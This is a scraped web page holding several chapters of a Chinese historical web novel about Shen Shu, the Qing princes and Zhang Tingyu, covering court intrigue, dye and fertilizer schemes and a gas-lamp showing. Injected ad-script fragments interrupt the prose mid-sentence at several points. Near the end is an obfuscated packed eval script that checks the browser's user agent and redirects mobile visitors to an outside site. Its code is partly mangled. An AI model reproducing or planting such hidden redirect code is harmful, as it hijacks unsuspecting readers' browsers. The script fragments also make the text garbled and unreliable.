听八阿哥这么说,十四阿哥从榻上爬了起来,面带怒意,“他敢?我、我跟他拼了!” 八阿哥拍了拍自己的额头,简直头疼啊! 九阿哥则是顺着继续道:“十四弟,你又不是不知道皇阿玛偏爱二哥这个太子。 八哥只不过是给你提个醒,今天的情形你也看见了。 对了,还有你没看见的。 你被拖出去的时候,太子进言说要将沈氏就地格杀! 大哥说了句公道话,三哥说让皇阿玛定夺,四哥建议调查清楚。 于是皇阿玛才宣了沈小姐进宫。” 他把十四阿哥在外面时的事情说了一遍,希望十四阿哥能考虑清楚。 “太子居然要杀阿姝?” 十四阿哥气想揍太子一顿。 十阿哥见状说道:“我说十四弟,你还是趴着吧!太医让你静养,你这样得养到什么时候才能好?” 最后八阿哥嘱咐道:“十四弟,你还是尽快把伤养好,然后问问沈小姐是什么意思。 至于皇阿玛赐婚一事,咱们可以择机去提。只要皇阿玛点头,太子也不能怎么样!” 沈姝现在很重要,谁得到她就能得到她所带来的一切。他希望十四阿哥能抓紧她,莫要被人捷足先登。 八阿哥他们走后,十四阿哥独自趴在榻上思索片刻之后,便令人去喊十四福晋过来说话。 他知道是十四福晋主动在找沈姝的麻烦,可福晋是皇上赐婚,加上夫妻二人之前的感情还算融洽。 所以十四阿哥一直都在回避这个问题,直接干脆的把两个人分开了事。 但现在八阿哥的话给他提了个醒,这件事情终究是要解决的。 所以他想知道福晋到底是为什么要这样? 十四福晋进来的时候还提端着一碗参汤,满脸关切的对十四阿哥说道:“爷,这是妾身吩咐厨房熬制的,您受了伤,可得好好补补。” “先放下吧。” 十四阿哥现在哪里有心情喝什么参汤? 他看着十四福晋开门见山的问道:“福晋,我记得你之前并不是如此的善妒,为何独独却对阿姝这样?” “爷,她是汉女,汉女狐媚……” 听十四福晋这么说,十四阿哥冷着脸打断了她,“福晋,我想听真心话!你当真仅仅只是因为这个缘由?” “……” 见状,十四福晋沉默片刻之后抬起眼帘,语气中满是委屈,“爷您要听真心话,那妾身就说给您听! 没错,妾身是妒忌,妒忌她能独得您的宠爱。您什么时候当众抱过妾身,什么时候与妾身共骑过? 府里除了她,包括妾身还有侧福晋她们,哪个能得此宠爱?” 之前她当然不嫉妒,因为所有女人之中,夫君对她最好! 她并不是在乎夫君有多少女人,这是天经地义的事情。 自古以来,寻常男子尚可有妻有妾,何况是皇子? 但她在乎的是有人能够得到比自己还多的宠爱! 十四阿哥听罢叹了口气,没有斥责十四福晋,女人家的拈酸吃醋或者撒撒娇什么的,只要不过分,他都不会生气。 “福晋,你我是夫妻,我自然是爱重你的,可你对阿姝过分了! 她也是我心爱之人,你如此刁难于她,岂不是在让我为难?” 十四福晋本来想要的,就是一个态度。 听十四阿哥这么说,她点点头,但提出来一个要求。 “妾身听您的,不刁难她。您想要宠爱她,妾身不能阻拦。 但妾身着实不愿亲眼所见她独受如此宠爱,所以爷您能不能还让她住在外面?” “好。但咱们可说好了,你以后见她不能再冷脸以对。” 反正现在就是让沈姝住进来,她也不愿意来,所以十四阿哥对此没有意见。 “嗯。” 十四福晋微微点头,知道这已经是最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好的结果。 沈姝的事情明摆着的问题,不仅八阿哥他们能想明白,四阿哥当然更明白。 但四阿哥考虑的更多。 回去之后静坐在书房里,四阿哥反复仔细的考虑分析,都认为沈姝保不住她所拥有的财富。 不仅如此,无论是十四阿哥还是八阿哥,都没有能力能够护住她。 她最好的出路,应该是向皇上表忠心以求庇护。 但四阿哥也知道,十四阿哥对她有感情,所以一定是迫切的想要娶她进门。 可皇上会同意吗? 四阿哥不太确定。 他只知道即便十四阿哥娶了沈姝,也未必能护她周全。 毕竟十四阿哥不是太子! 所以次日,四阿哥主动拜访了沈姝。 “沈姑娘,有件事情我想跟你提个醒。” 四阿哥突然来访,还表情严肃,沈姝有点儿好奇。 “不知四爷您所说为何事?” 四阿哥看着沈姝,微微绕了个弯子。 “是昨日之事。你与十四弟关系不一般,而十四弟与太子不合。 之前因为凌普一事,太子便有些记恨。 此番弹劾,太子未能得逞,怕是日后不会善罢甘休。” 眼看着沈姝的脸色没有什么变化,四阿哥接着继续道:“历经昨日之事,今日的你已是非比寻常。无论是染料一事还是所谓的肥料,都集于你一身。 可是沈姑娘,想必以你的聪颖,应该知道怀璧之罪的道理。” 什么意思? 沈姝不禁有些生气,辛辛苦苦搞创新还搞出罪来了? 因为染料的事情被弹劾还不算完,现在四阿哥又跑过来说这些,到底是想要做什么? “您的意思是如果民女不把东西大大方方的让出来,就有罪?” 这语气和表情,一看就知道是在生气。 可这气来的是不是也太莫名其妙了? 四阿哥觉得沈姝又误会他了,还对他有偏见。但他不是来吵架的,也不愿意跟她争吵。 “沈姑娘,我不是这个意思。” 四阿哥开始解释,“我的意思是,居安思危,有备无患。你需要好好考虑考虑,如何防备那些明枪暗箭。” 沈姝知道会有可能存在某些潜在的麻烦,所以昨日在朝堂之上才会说肥料的事情让皇上提供帮助与支持。 不知道四阿哥到底是想要说什么,沈姝直接问了出来,“那以四爷您之见,民女当如何防备?” 问题的答案,四阿哥想说,可却知道是万万不能直说。 一是直接说怕被沈姝误会,二是不想被皇上误会自己的自作聪明。 这种事情,只可意会不可言传。 所以他斟酌的说道:“溥天之下,莫非王土;率土之滨,莫非王臣。(注) 而大清国,是皇上的大清国……” 四阿哥觉得自己已经暗示的很明显了,希望沈姝能听明白。 见沈姝看着自己,似有疑惑,四阿哥知道自己不能再多说了,于是起身告辞。 “沈姑娘,我言之至此,你……好好想想。” 一时之间,沈姝确实没有听明白这话到底是什么意思。 直到三日后,她收到了张廷玉的拜帖。 37.第 37 章 为了皇上交代的事情,张廷玉做了一定的准备。单从沈姝在朝堂之上的应对,就知道她不是一般人。 然而在看到调查出来的一些情况后,张廷玉眉头紧皱。 其实就只是两件事,但从这两件事看来,此女绝对不容小觑。 其一是凌普之案,说实话这件事他有所耳闻,但并没有过多在意。 皇子们之间的争斗,他一向不会参与,也不愿过多探听。 现在翻出来查看此案,是因为牵扯到沈姝。此案是由凌普弹劾十四阿哥而来,究其缘由也是因为沈姝,并且凌普之所以被八阿哥扳倒就是因为染料的事情。 仅凭卷宗上的只言片语,便可窥得一二。 张廷玉觉得凌普真是一点儿都不冤,当时见证的现场不仅有各位阿哥还有受邀的洋人。 这说明什么? 说明是摆好了套子就等着他来钻! 并且四阿哥还在卷宗中载明,洋人是应沈姝所求而邀。 当然此案只能说沈姝此女,颇有谋略。 但另外一件事,则是值得玩味。 之前张廷玉伴圣驾木兰秋狄,所以不知道刑部一案的起始。 但现在他知道了,并且从此案中顺藤摸瓜调查清楚了不少事情,包括沈姝的家世。 沈姝的亲人为噶礼所害一事,还是他从袁桥、蔡珍之前的弹劾疏奏上猜出来的。 因为那上面所述受害人中确实有一位姓沈的,当然还有姓丁的,想必就是那些为她所救的山西同乡。 原来噶礼是沈姝的仇人,而且她还设法营救并收留了与自己同仇敌忾的山西同乡,现在那些山西同乡正在为她做事! 一介孤女,跋涉千里进京,成功的营救出同乡,能做出这种事的人,张廷玉不相信沈姝不想报仇。 可她呢? 在朝堂之上为自己辩解成功之后,却没有趁机提起噶礼之事。 甚至在皇上问及百姓之愿,并赦她无罪,让她有话尽可说之时,却依然丝毫没有提起自己的家事。 不知情的人还以为她没有什么深仇大恨,否则这种事情有几人能按捺得住? 百忍成金,这种心性,简直是令人心惊! 勿要说是男子,就是女子,有此心性,必成大事。 在对沈姝有了这些了解之后,张廷玉的心情并不好。 因为这意味着,她并不是一个好相与的。 准备妥当之后,张廷玉才发出拜帖,然后如约而至。 而沈姝并不知道张廷玉是何人,不过这不重要,只要他来就会露出拜访的目的。 张廷玉此番前来有两件事,其一是肥料,其二是染料。 只能先说肥料,染料的事情比较棘手,放着等下再谈。 他一坐定就先表明了来意,“沈小姐,本官今日到访乃因皇上旨意,协助你制作肥料一事。” 原来如此,这么快就派人来对接了,看来皇上还挺迫不及待的。 可她还没有做什么准备,合成尿素是系统工程,不仅需要原料,还要建厂制作设备。 这些事情都要一一列计划,不是一朝一夕之事。 而且说实话她现在的心思正在如何报复那些商贾上,并且已经有了计划,正打算开始动手。 肥料这事急不得,即便没有准备,沈姝开口就是一大串,“张大人,不瞒您说,肥料之事没有那么快。 民女这么说吧,若想大规模投产,需要建厂、定制设备、寻找原料。 比如建厂,需要实地勘察寻找一片适合作为厂房的地方。 再比如设备,需要定做。 至于以眼下的条件能否定做出来,民女需要先看看炼铁的情况再说。原料的话,民女可以列一个清单您先派人去找。 可是张大人,民女觉得您最好先问问皇上为了建设肥料厂,打算投资多少或者最多能投资多少? 要知道以上所说的那些都是要花钱的!” “……” 这才刚开始,张廷玉就听的有些头晕。 这些话听起来合情合理,虽然不懂,但他也知道做买卖要先有店铺,所以当然是要先有作坊才能制作。 听这意思还要花很多钱啊,那确实是得先问问皇上愿不愿意。 “沈小姐,以你之见,这些大概需要花费多少?” “民女不知。” 沈姝当即摇起了头。 开什么玩笑,她又不是算命大仙,难道掐指一算就知道预算是多少? “张大人,您要知道,需要花多少钱取决于诸多因素。 比如,建厂所需的地皮多少钱? 设备多少钱? 原料多少钱? 这些民女现在统统都不知晓,怎么可能算的出来要花费多少?” 这话也很有道理,但他交不了差啊! 张廷玉头疼不已,难道要他直接回去给皇上禀告说不知道要花多少钱,但确实要花很多钱? 沉吟片刻之后,他露出为难的表情,提醒了一个事实,“沈小姐,若是皇上无法确定你所说的那种肥料确实能制作出来,是很难会斥巨资支持你的。” “张大人您说的也有道理。” 沈姝点头表示认同,并且进一步补充道:“皇上的顾虑民女知道,即便是真有民女口中的那种肥料,想必皇上也得验过确实有效之后才能下定决心支持。” 对,张廷玉接下来要说的确实是这个,没想到沈姝主动提及了。 他笑着说道:“沈小姐聪敏过人,想必是已有解决之法。” 肥料的事情,沈姝不想玩虚的,直接说道:“民女倒是可以先制作出少量的肥料交由皇上来验证,但这也需要时间。 而且大批量的生产制作,必须要投资建厂。” 炼焦可以产出氮,利用氮可以合成氨,继而合成尿素这种氮肥。 这正是沈姝提出肥料的原因,可以与炼焦形成上下游产业。 可张廷玉不能拿这个回答去应付皇上,他进一步追问:“不知需要多少时间?” 尿素在眼下这种条件下的合成,需要时间来试验。 试验多少次才能成功,沈姝也不确定,面对张廷玉的追问她反问了一句,“张大人您很急吗?” 张廷玉故意叹了口气,“本官是怕皇上急,再说本官也不能言之无物的去向皇上禀告,希望沈小姐你能体谅。” 沈姝也跟着叹了口气,“说实话民女不知道需要多长时间,张大人你或许不知道任何新东西都是需要不断的试验和探索才能得到,没有想象中的那么简单。” 顿了顿她接着说道:“当然民女也体谅您的难处,所以可以带您去参 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观一下部分生产流程,这样您也好给皇上交差。” 若是沈姝一味推脱,张廷玉真的要怀疑这其中是不是有什么问题。 他明白一个道理,那就是说得再好听,都不如眼见为实。 于是点点头,再次追问:“如此便多谢沈小姐了,只是不知什么时候方便安排?” 就知道催催催,沈姝有点儿无语。 以张廷玉这纠缠不止的态度,若是单单的给他看什么炼焦炉怕是不能让他满意。 毕竟那玩意就是个大炉子,看起来不算特别也并不稀奇。 再说给他这种外行讲什么炼焦产业纯粹是对牛弹琴,既然如此那就让他看点儿新鲜的。 新鲜点儿的东西也有,正好十四阿哥的庄子上正在安装煤气灯。 煤气灯应该还算稀奇,而且她正打算售卖,正好趁机在张廷玉这里宣传一番。 “既然张大人如此急于交差,那民女可以请您参观欣赏一下夜晚的景象。 这样吧,明日戌时,您来十四爷郊外的庄子上,民女等您。” “戌时?” 张廷玉大为不解,为什么非要夜里去? 还要看什么夜景,这正经吗? 虽然他是比沈姝年纪大的多,早已过而立之年。可毕竟男女有别,这孤男寡女的不说,还要约到晚上。 正所谓是:君子防未然,不处嫌疑间,瓜田不纳履,李下不正冠。(注) 得避嫌啊,所以张廷玉觉得自己不能这样直接就应下。可又不能提议换时间,这也不太合适,显得他心虚似的。 真是麻烦,这就是与女子打交道的麻烦之一! “是啊,张大人您不方便吗?” 听沈姝这么问,张廷玉连忙说道:“方便。只是本官以为既然是赏夜景,不若再邀些人。” “那张大人的意思是?” 沈姝倒是无所谓再喊其他人过来,随便张廷玉怎么安排。 张廷玉可不敢胡乱安排人选,最佳陪同人选当然是十四阿哥。 可十四阿哥刚挨了廷杖,又不好劳烦伤者,只能换人。 但所换之人又必须是沈姝认识而又不反对的,而且与十四阿哥关系尚可的,所以只能是四阿哥与八阿哥。 因为四阿哥是十四阿哥一母同胞的兄长,八阿哥则与十四阿哥关系要好。 此二人,想必沈姝不会拒绝。 “本官意欲邀请四爷与八爷,沈小姐意下如何?” “可以。” 沈姝点头。 张廷玉也微微颌首,第一个任务已经算是有了初步进展,接下来才是麻烦事。 此事不便于以开门见山的方式直说,只能委婉些。 “沈小姐,方才所说为公务。 然你我皆为汉人,故而我还有一些私下里的话想与你探讨一二。” “哦?” 沈姝讶然,就怕突然间的套近乎。 以她的经验来说,但凡是这种的,要说的大都不是什么好事。 态度放得这么低,连“本官”都不自称了,她倒想听听究竟是要说什么。 “张大人,您且说来听听。” 一看沈姝的反应,张廷玉就觉得接下来怕是不好说啊! 因为自己已经放低了姿态,而她无动于衷,但不好说也得说! 38.第 38 章 张廷玉想先从拉家常说起,于是便道:“听说沈小姐你是山西平阳人氏?” 从张廷玉转变态度时起,沈姝便已起了防备之心。又听他这么问,便不软不硬的回了一句,“张大人这不是明知故问吗?” 沈姝记得只对十四阿哥和四阿哥说过自己的身世,她又没有山西口音,脑门上也没刻字。 张廷玉又是从哪里听说的她的来历? 还不是因为特意打听过了! “……” 被这么一怼,张廷玉当即知道自己套近乎的方法已经失策。 这女子,变脸也太快了! 聪明人就聪明在知道失策后立刻转变方法,张廷玉直接承认了。 “还请沈小姐见谅,皇上令我与你接洽,故而我打听了一些你的大概情况。 听说你的亲人因噶大人而死,也曾通过袁桥、蔡珍两位御史弹劾过噶大人。 然而却弹劾未果,不知你接下来可有什么打算?” 皇上的意思,张廷玉明白,可他不能明说,必须要找个由头来暗示沈姝。 但这个由头也不好找,总不能跟她说因为染料一事已经被弹劾,说不定日后还会被人弹劾陷害。 因为这次她自己就已经挫败了十五道御史的弹劾,正是自得满满时,会觉得不足为虑。 思来想去,觉得还是从报仇一事说起来起比较合适。 反正对于噶礼的所作所为,他也很是看不上。并不是说皇上认定谁无罪,谁实际上就一定无罪。 以张廷玉对噶礼此人的了解,他一定是在山西作了不少恶事! 否则山西百姓不可能跋涉千里的进京来告状,对于百姓来说进京告状并非易事,若非实在是过分至极,谁会愿意冒这样的风险做这样的事情? 所以那噶礼作说服沈姝的筏子,张廷玉一点儿都不愧疚。 沈姝就知道一提起自己的出身,接下来八成就是噶礼的事情。 张廷玉这个陌生人不可能专门跑过来跟自己闲聊,必定是有其他目的,她想知道他接下来要说什么。 于是配合着往下演戏,“没有打算,因为噶礼是否有罪得由皇上说了算,谁又能左右皇上的想法?” “沈小姐果真是聪慧至极!” 张廷玉不得不感慨,这话说的可谓是剔透极了。 不少官员,要浸淫官场数年方可悟的如此真谛! 还有一些是混迹多年,都悟不出来这道理。而此女才多大年纪,居然能参透为官之道! 为官之道,正是如此。 要懂得揣摩上峰、揣摩圣意。 说实话,他喜欢跟聪明人共事,因为聪明人不做蠢事,闻弦歌而知雅意。 见沈姝如此上道,张廷玉也愿意趁机多提点一二,算是结个善缘。 “噶礼是旗人,皇上对旗人一向是先信三分。更何况皇上仁厚,还记着他以往的功劳和苦劳。 所谓:卑不谋尊,疏不间亲。 以沈小姐你此时的身份地位,即便是强行告状,怕是也难以如愿。 然今时不同于往日,以沈小姐你的功绩,若是能得皇上青睐,便是化疏为亲。” 这话说的,有点儿意思啊! 一时之间,沈姝摸不清楚这张廷玉到底是跟噶礼有仇想游说自己一起对付他,还是另有其他目的。 说实话,她并不喜欢跟这种心眼多的人说话,心累。 直接问的话对方肯定不愿意明说,还要猜来猜去! “哦?” 沈姝扬眉,做出不解状,“肥料一事尚未得以验证,不知民女有何功绩可言?” 张廷玉闻言笑了笑,绕了一大圈终于说到正题了! “沈小姐你在朝堂之上已经言明了染料的重要性,谁手握这种新式染料便可迅速敛聚巨额财富,这如何不可谓之功绩?” 等等? 同样一件事被四阿哥说成是“怀璧之罪”,张廷玉却说是功绩…… 沈姝真不觉得这是什么功绩,否则她也不会找十四阿哥当靠山,就是因为知道单凭自己根本保不住这些财富。 这个张廷玉,有话不直接说,非要让她不停的试探。 沈姝轻晒一声,“还以为张大人会说染料之于民女,犹如稚子抱金过闹市呢!” 对呀,张廷玉确实是暗含了这个意思。 他认为无需多费口舌,沈姝应该明白这个道理,所以才会攀附上十四阿哥以做靠山。 但他想要提醒的是,十四阿哥未必护得住她。 “即便是稚子抱金,可沈小姐你却是过了皇上的眼,是福是祸全赖你如何抉择。 因为皇上想要爱护之人,绝无可能护不住!” 说完这句话之后,张廷玉看着沈姝,希望能听到她的回答。 他认为自己已经表达的足够明白,皇上才是大清国所有人唯一需要讨好的对象。 沈姝听明白了,不仅搞清楚了张廷玉在说什么,同时也突然间想明白了数日前四阿哥所言是何意! 不投靠皇上,就是怀璧之罪。 投靠皇上,怀璧之罪就变成了功绩。 至于如何投靠,当然是把怀抱之金、所持之壁献出去给皇上! 敢情这俩人一前一后的,是奉命来游说自己无私奉献的啊! 沈姝不仅是生气,更多是还是不甘心。 她已经自愿献出肥料以求护身符,结果皇上居然还想把染料也抢走! 纵然是如此,沈姝也知道自己不能因此而表达出任何的不满。 因为她面对的是在这个时代至高无上的皇权,再说强权,哪里都有…… 既然张廷玉都这么说了,就当再交上去一笔保护费吧! 那么她只能在现有情况下谋求自己的利益最大化。 “张大人的意思民女听的很明白,也知道应该怎么做。 不过民女还有些私事要做,请恕不能立时做出决定。” 听沈姝说明白自己的意思,张廷玉很是欣慰,跟聪明人说话就是这么省事。 他以为接下来她会要提条件,这是当然的。皇上宽厚仁慈,不可能做出那种强行掠夺而不予补偿的事来。 所以他直接问道:“沈小姐你有什么要求尽可提,你我同为汉人,我自然是会为你尽力争取。” 同为汉人又怎样? 沈姝才不会信这种虚无缥缈的民族情义,她表情冷淡的拒绝了,“此事乃民女之私事,无需任何人帮忙,民女可自行解决。” 可沈姝越是这么说,张廷玉心里越是不安 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这根本是不按套路出牌。 到底是什么私事,他必须要问清楚。 因为沈姝不是一般人,她要做的事情必定不是寻常之事! 别到时候搞出什么乱子来…… “沈小姐,方便透露一下究竟是何私事,竟与染料有关?” 轻瞥了张廷玉一眼,沈姝不急于回答,而是端起茶杯轻啖一口茶水。 这副冷淡的态度,看起来像是要送客。 但越是这样,张廷玉更得厚着脸皮继续稳坐不动。但他没有再问,而是耐心等着,等沈姝主动开口。 放下茶杯,沈姝很是简略的提了一下自己的打算。 这件事,没有隐瞒的必要性。 但如果不是在这当口上,她也不会愿意道于外人听。 她可以把染料交出去,但仇必要先报了! “张大人许是忘了数日前民女被弹劾一事,但民女时刻铭记于心,从不敢忘。 若是人人都可割破手指头,用指甲盖那般大小的血迹来对民女谋财害命,那民女岂不是如同被人肆意欺凌的羔羊?” 说着沈姝转向张廷玉,定定的看着他,反问道:“张大人您说是吗?” “……” 沈姝的表情很平静,语气也很平静,但眼神中透露着凌厉的萧杀之意,看得张廷玉有些心惊。 这是要自行报复啊! 他不能说不是,泥人尚且有三分火气,更何况是她? 所以不能强行阻拦,那就太欺负人了。 说不定她一生气,前面刚谈好的事情就全不作数了。 但张廷玉也不敢直接点头说,这仇就该报,这事…… 原来麻烦在这里啊,张廷玉斟酌的说道:“此事我会禀明皇上……” 但他话没说完就被沈姝毫不客气的高声打断,“张大人,民女在朝堂之上说过,在染料一事上不做仗势欺人之事。 所以不会因此而借由十四阿哥或者皇上之手,免得被人说是仗势欺人。 在商言商,民女会用光明正大的办法为自己报仇,就不劳他人费心了!” “……” 刚才沈姝打断了他的话,表明她已是相当的不悦。 而且这番话说的是气势汹汹,又不说到底想要怎么报仇,弄得张廷玉心里七上八下的。 她到底是要怎么做啊? 而这么做会不会惹出其他麻烦事来? 这些张廷玉现在统统都不知道,也无法预测。 而且他想了又想,眼下还真想不出来会怎样。没想到居然还有这样的意外,张廷玉顿时感到了头疼。 这怎么跟皇上交代啊? “张大人,请回吧,恕不远送。” 沈姝说着又端起了茶杯,这次是直接开口撵客。 张廷玉无法,只得站起身来,语气很是诚恳的劝阻道:“凡事还请沈小姐能三思而后行,千万莫要冲动。” 末了还释放出了善意,“沈小姐放心,关于噶礼一事乃是我自行探查得知,皇上并不知情,并且也不会主动告知皇上。” 如此这般,也是希望沈姝能领情,不要在肥料与染料这样的大事上跟自己过不去。 而且回去之后,他还得好好想想她到底要怎么报复那些商贾。 39.第 39 章 报仇这事,如果当场能报,沈姝绝对不会等到隔夜。 如何报复这些商贾,她已经有了成算,并不打算耽搁。 张廷玉离开后,沈姝便提笔写了一通,然后喊来了顺子。 她没有提张廷玉所说之事,而是只说了报仇一事。 “顺子,那些布商们弹劾一事你也知道,我想报复他们,现在有事要交代给你去办。” 太监和御前侍卫把沈姝带走的时候,顺子就在现场。 那阵势当时把他都吓傻了,不知道是发生了什么事情。都没来得及反应,沈姝就跟着那些人走了。 还是她安然无恙之后,大家才知道是因为染料的事情,为此这几天他没少咒骂那些心狠手辣的商贾! 现在沈姝说要报复,顺子点头如捣蒜,“那些狗娘养的实在是太缺德了,沈小姐您说要怎办,我们都听您的!” 沈姝递给顺子自己刚才所写的这张纸,吩咐道:“这个找人多誊写些,张贴在咱们店铺门口以及所有热闹的地方,再找人四处去吆喝一番。 不要吝惜花销,务必要让京城里的人都知道。” 顺子接过来一看,只见这上面写着:“千色布店、绸缎铺免费教学如何染色,教不会不收钱,教会了也不收钱。 凡欲开染坊或布店、丝绸铺者,均可来求学,已在行会入会者除外。” 您这是?” 顺子看着手中的字想了又想,恍然大悟之后不禁哈哈大笑,“真要如此,怕不是那些狗东西们会气到吐血!” 原本这种新式染料染色的工序就很简单,想学之人用不了一天都能全学会。 这样一来,只要是有钱想学,谁都可以来买染料开一家如同千色布店、绸缎铺的店铺。 而那些商贾们就要因此彻底关门大吉了! 明白了沈姝的意思,顺子拍着胸脯保证:“您放心,我这就找些机灵的去大声吆喝,保管不出三天就得让全京城的人都知道这事。” 把事情交给顺子,沈姝放心。 她想要的,就是对这些弹劾自己的商贾们赶尽杀绝。 就算是会被阻止,也要先杀一波再说。 否则,难消她心头之恨! 自己开店来挤兑他们的生意,那太慢了,自有资金也跟不上扩张的步伐。 关键是她真的不需要扩张店铺,只需要把染料卖出去给对手以外的人就行。 想要快,就要采取效率更高的办法,所以她选择打包所有技术免费送。 不仅可以提供免费的染色技术指导,还可以教想学之人如何建造染坊,以此助力全天下所有想发财之人的发财梦。 再说皇上即便是把染料抢走,不也得是要卖出去,卖给谁不是卖? 沈姝就要这么干,有本事这些商贾们再去弹劾去,反正她现在是有恃无恐! 顺子手脚麻利办事快,出去之后先是花钱买了成叠的红纸,然后又找人去雇了一大堆的读书人把沈姝的话誊写数百份。 还打算再去雇几十个闲汉,吩咐他们拿着这些红彤彤的喜报在大街小巷吆喝个不停。 至于店门口,更是要张贴到最醒目的地方,保管路过之人一眼都能看见。 而张廷玉并不知道沈姝的报复来的是如此之快,因为顺子还正在做准备工作。 无论是誊写还是雇人,都需要点儿时间不是? 从沈姝这里离开回去后,张廷玉一直在想她究竟会如何报复。 他能想到的是,沈姝会在短时间内开更多的店铺来挤兑那些商贾们的生意。 如果是这样的话,倒是问题不大。 毕竟开店需要时间,不是一朝一夕之事。 随便她怎么折腾,能开多开几家店? 而皇上怕是等不了那么久。 相比之下,张廷玉更关心沈姝许诺的参观之事,回去之后立刻派人给四阿哥和八阿哥各下了一张邀请帖。 四阿哥收到张廷玉的帖子,看完之后当即给张廷玉回了一张帖子,表示愿意赴约。 也就是看到这张帖子才知道原来皇上那天把张廷玉留下,是让他来负责肥料一事。 此举颇有深意,四阿哥觉得如果皇上愿意,完全可以将此事交由十四阿哥负责。 毕竟现在外人都认为沈姝是十四阿哥的女人,可事实却并非如此。 皇上如此作为,定有深意。 至少眼下,皇上是想把沈姝与十四阿哥隔离开来。 想到这里,四阿哥心下安定,不由得松了一口气,就连心情也是柳暗花明豁然开朗。 只要皇上现在不赐婚,日后一切皆有可能。 而收到帖子后,八阿哥只是对皇上居然把肥料一事交由了张廷玉这个外人感到有些不满。 这种事,难道不应该交由十四阿哥来主办吗? 不过也许是因为现在十四阿哥被打的下不了榻,而皇上又心急于肥料一事,所以才会如此。 只能怪十四阿哥这顿打,挨的不是时候。 但张廷玉能主动发出邀请,八阿哥觉得他还算是知趣。 到了约定时间,沈姝已经在庄子上等着。 四阿哥、八阿哥、张廷玉则是各自如约前来。 此时十四阿哥的庄子里,灯火通明。 但这种灯火通明并非是常见景象,而是一种从未见过的奇景。 正常人家,都是门口高挂两只大红灯笼。 而十四阿哥庄子门口两侧的墙上,是两盏奇形怪状的玻璃灯。 灯中的火光明亮到刺眼,足以照亮至门前三丈开外,从未见过如此之亮的灯具,亮过中秋之月! “此灯所燃为何种灯油,为何竟如此亮眼?” 这还没进门,三人就站在灯下仰头看了又看,张廷玉则是直接问了出来。 因为沈姝说的就是来让他看夜景,看完可是需要回去禀告的! 负责迎客的六子回答道:“回张大人,沈小姐说这叫什么霉气灯,小人也不知里面是什么。” 他是觉得这个“霉气灯”的名字很不吉利,而且是真不知道里面是什么。 沈姝做的那些,他倒是亲眼所见,可有时候亲眼所见也看不懂啊! 就比如他就搞不明白,这么好的灯为什么非要取这么个不吉利的名字。 “霉气灯?” 一听这灯名,就连四阿哥和八阿哥都有点儿想皱眉,这叫的是什么名字? “是啊。” 他只负责迎客,不负责解疑答惑,六子接着说道:“四爷、八爷、张大人,里面请,沈小姐正在院中候着呢。” 而庄子里,更是亮到如同白昼。 这个白昼的标准是针对于四阿哥他们而言,在此之前哪里见过如此亮瞎人眼的灯? 家里高挂的灯笼,都是朦朦胧胧昏昏暗暗的,这一对比之下,可不是亮如白昼! 不仅如此,这庄子上的灯也未免太多了。 隔个几丈远,就是一个,这一夜得烧掉多少灯油钱啊! 张廷玉觉得这有点儿过于奢侈了,谁家里是这么用灯的,就是宫里怕是也比不上吧? 四阿哥也看得有点儿皱眉,他跟张廷玉的想法一样,都觉得如此景象,未免有些奢靡无度,但没有贸然开口说出来。 张廷玉当然更不可能直接去指责沈姝的奢侈,他可不想当面得罪人,只能说是等下旁敲侧击的问问。 沈姝带着顺子正站在路灯下,看着走过来的人,先是朝四阿哥和八阿哥打了个招呼,又看向张廷玉问道:“张大人觉得这院中的灯火如何?” 煤气灯的亮度数倍于油灯或白蜡,料想他们没有见过如此的亮光。 别的先不说,先给张廷玉一点点儿化学之光的震撼再说。 张廷玉没有错过沈姝脸上的神色,能弄出如此之亮的灯具,看起来她很是自得。 他很是诚实的点点头,“确实是亮,从未见过如此之亮光。” 没见过就对了,沈姝笑着直接开始讲解炼焦产业链。 至于张廷玉听不听得懂,那她可管不了,她只负责讲,听不懂又不是她的问题。 “今夜请张大人前来,目的之一是想让您看看这种灯。此灯便与肥料产业相关,不仅如此,染料也可以算作是肥料产业的关联产业。 因为这些均出自于炼焦,准确的说是炼焦产业的下游产业。 所以如果谈及综合利用,民女以为染料厂、化肥厂灯均可以一起规划,如此便可提高综合利用效率。” 沈姝说完之后笑着看向张廷玉,而张廷玉脑子里则是写满了“懵逼”…… 为什么这些字分开来听,都还能听得懂,而连在一起就完全不知所云。 这种听天书的感觉,让人抓狂。 他不禁扭头看了一眼同来的四阿哥与八阿哥,只见这两个人,一个瞥了他一眼,一个压根都不想看他。 四阿哥和八阿哥一样也处在完全听不懂的尴尬境地,反正是除了沈姝,大家都听不懂,这么一想也不丢人。 再说也不是他们办差事,要为难也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13964006|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是张廷玉为难,要丢人也是他丢人! “……” 张廷玉已经尴尬到无语,承认自己不如人多少有点儿面子上挂不住,更何况他还自诩为聪明人。 就算是术业有专攻,隔行如隔山,那也不能一丁点儿都听不懂啊! 这简直是问都无从问起,因为不懂的太多了,问不对了还容易闹笑话。 沉默之后,他转而问了一个关于灯的问题,“本官见这院中之灯耀眼异常,不知用的是何种灯油?” 沈姝笑了笑,知道他没有听到刚才那番话,不过他不问,她才懒得主动再多讲。 他问什么,她才会说什么。 “这种灯不用油,而是用煤气。” 听沈姝这么说,张廷玉继续问道:“何为霉气?” 沈姝以一副稀松平常的语气说道:“就是石碳所出之气啊!” 石碳张廷玉知道,可石碳之气又是什么? 不行,还得继续问。 “石碳竟还有气?” “当然有啊!” 沈姝理所当然的点点头,指着前方的高炉说道:“张大人您往前看,看到那座高炉了没有?” “看见了。” 张廷玉现在是只管点头听沈姝讲,听不明白他是没有办法张口多问的。 沈姝解释道:“将石碳投入其中,炼制的过程就叫炼焦。 